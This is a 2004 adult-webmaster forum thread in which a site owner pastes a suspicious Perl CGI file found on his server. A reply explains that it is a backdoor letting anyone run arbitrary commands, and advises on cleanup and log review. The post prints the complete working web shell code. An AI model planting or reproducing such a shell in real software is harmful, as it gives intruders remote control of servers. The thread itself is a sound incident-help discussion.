Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

If you have any problems with the registration process or your account login, please contact us.

Post New Thread Reply

Register GFY Rules Calendar
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed.

 
Thread Tools
Old 04-02-2004, 07:55 PM   #1
Paul -C-
Confirmed User
 
Industry Role:
Join Date: Aug 2001
Posts: 1,255
What would this cgi code do?

Just found this cgi file on my server... looks a bit suspicious to me...

Code:
#!/usr/bin/perl 
use CGI qw(:standard); print header; my $k=param("g"); my $a=param("a"); if ($a || $k) {$l=`$k 2>&1`; print start_form,textarea("g",$k,3,50); print submit("fuck base-x"); print end_form; print pre($l);} print $ENV{"NS2.ISPRIME.COM"};
Can anyone tell me what it does?

Thanks!
Paul -C- is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 04-02-2004, 07:58 PM   #2
d00t
Confirmed User
 
Industry Role:
Join Date: Sep 2002
Location: In your mind
Posts: 3,766
it loads hot chicks from isprime.. really!! try it!!
d00t is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 04-02-2004, 08:14 PM   #3
digifan
The Profiler
 
digifan's Avatar
 
Industry Role:
Join Date: Oct 2002
Location: ICQ 76281726 and I'm female
Posts: 14,618
__________________
[email protected]
Webair Rocks
digifan is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 04-02-2004, 08:29 PM   #4
Ash@phpFX
Confirmed User
 
Join Date: Nov 2003
Posts: 4,292
not in that size font i cant, i hate those code tags
Ash@phpFX is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 04-02-2004, 08:35 PM   #5
Theo
HAL 9000
 
Industry Role:
Join Date: May 2001
Posts: 34,515
dude this is very serious






































but i dont have an idea what is it
Theo is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 04-02-2004, 09:43 PM   #6
raymor
Confirmed User
 
Join Date: Oct 2002
Posts: 3,745
That script lets someone run commands on your
server - any commands they want.

Take careful note of the timestamps on that file.
Download it.
Delete it.
Notify your host/admin right away, letting them know the
file timestamps so that they can look in the logs to
see what happened around the time that file got created.
Pray that your host/admin had CGI running as unprivileged
user and not as your username.
If you don't have a good admin, get one now. A very good one.

Someone had to hack your site (or be given FTP access)
in order to put that script there. You'll need to figure
out how they did it. Apache and FTP logs will show FTP logins
and which existing scripts were hit around the time
that script was created. You'll need to secure that
so they don't do it again.
Probably, they also used that script
to create more security
holes you'll need to find and patch.
__________________
For historical display only. This information is not current:
support@bettercgi.com ICQ 7208627
Strongbox - The next generation in site security
Throttlebox - The next generation in bandwidth control
Clonebox - Backup and disaster recovery on steroids

Last edited by raymor; 04-02-2004 at 09:53 PM..
raymor is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 04-03-2004, 05:25 AM   #7
Paul -C-
Confirmed User
 
Industry Role:
Join Date: Aug 2001
Posts: 1,255
I thought it was suspect

My server had been fucking up a lot lately and my host traced it to this file. It's gone now of course!

I'll ask them to have a look at the time stamps.

Thanks raymor
Paul -C- is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Post New Thread Reply
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >

Bookmarks



Advertising inquiries - marketing at gfy dot com

Contact Admin - Advertise - GFY Rules - Top

©2000-, AI Media Network Inc



Powered by vBulletin
Copyright © 2000- Jelsoft Enterprises Limited.